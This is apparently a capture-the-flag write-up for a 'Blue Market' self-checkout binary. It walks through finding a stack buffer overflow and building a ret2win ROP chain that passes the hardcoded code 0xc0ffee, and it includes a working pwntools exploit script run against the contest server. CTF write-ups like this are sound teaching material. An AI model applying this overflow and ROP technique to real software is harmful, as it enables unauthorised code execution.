Blue Market
The Blue Market self-checkout has a manager override for voiding transactions. Shame the code’s hardcoded.
Connections
Attachments
Recon
We extracted the single chal binary from dis.tar.gz.
$ file chal
chal: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
$ checksec --file=chal
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
With no PIE and no canary, every symbol has a fixed address and the saved return address is unprotected. The binary is small and
not stripped, so objdump showed the two functions we needed. The first is a
helper:
$ objdump -d chal
0000000000401182 <restock_helper>:
401182: pop rdi
401183: ret
The restock_helper symbol consists of pop rdi; ret, giving us control of the
first argument. The second function is the manager override:
0000000000401184 <managerOverride>:
40118f: mov qword ptr [rbp-0x138], rdi ; save argument
4011af: xor rax, 0xc0ffee ; key = arg ^ 0xc0ffee
...
401201: cmp qword ptr [rbp-0x138], 0xc0ffee
40120c: je 0x40121a
40121a: call fopen("flag.txt", "r") ; correct code -> print flag
401280: call exit(0)
managerOverride compares its first argument against the constant 0xc0ffee. If
it matches, the function opens flag.txt and prints it. The hardcoded code is
therefore the magic value in the comparison. Normal execution never calls this
function, so we needed to redirect execution to it.
Exploitation
The bug is in checkout, which reads more data than its buffer can hold:
0000000000401287 <checkout>:
40128b: sub rsp, 0x40
...
4012a3: lea rax, [rbp-0x40] ; 64-byte local buffer
4012a7: mov edx, 0x100 ; ...but read up to 256 bytes
4012b4: call read@plt
4012c5: ret
The read accepts 0x100 bytes for a 0x40-byte buffer. Since the buffer is at
rbp-0x40, 64 bytes fill it, 8 more overwrite the saved rbp, and the return
address starts at offset 72. The chain uses pop rdi; ret to load 0xc0ffee
before entering managerOverride.
Entering managerOverride through the ROP chain misaligns the stack for fopen,
causing a fault in glibc. Inserting the bare ret at 0x401183 moves the stack
by 8 bytes and restores the required alignment.
The payload order is:
72 padding bytes | 0x401183 (ret) | 0x401182 (pop rdi; ret) | 0xc0ffee | 0x401184 (managerOverride)
We validated the payload locally in an amd64 Docker container without a
flag.txt present. It printed flag.txt missing from the fopen-failure branch
inside managerOverride, confirming that the return address was hijacked, the
alignment gadget prevented a crash, and the 0xc0ffee check passed.
Flag capture
We then ran the same payload against the remote service with this script:
#!/usr/bin/env python3
import sys
from pwn import *
context.arch = 'amd64'
POP_RDI_RET = 0x401182 # restock_helper: pop rdi; ret
RET_GADGET = 0x401183 # bare ret (stack alignment)
WIN = 0x401184 # managerOverride(rdi)
CODE = 0xc0ffee # hardcoded override code
OFFSET = 72
payload = b'A' * OFFSET
payload += p64(RET_GADGET)
payload += p64(POP_RDI_RET)
payload += p64(CODE)
payload += p64(WIN)
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
io = remote('blue-market.wolvctf-2026.kctf.cloud', 1337)
else:
io = process('./chal')
io.recvuntil(b'Scan an item (enter item code): ')
io.send(payload)
print(io.recvall(timeout=5).decode(errors='replace'))
$ python exploit.py remote
[+] Opening connection to blue-market.wolvctf-2026.kctf.cloud on port 1337: Done
Item not recognized. Please see an attendant.
Override accepted. wctf{bluem4rket_4qtb786aidwh1etd}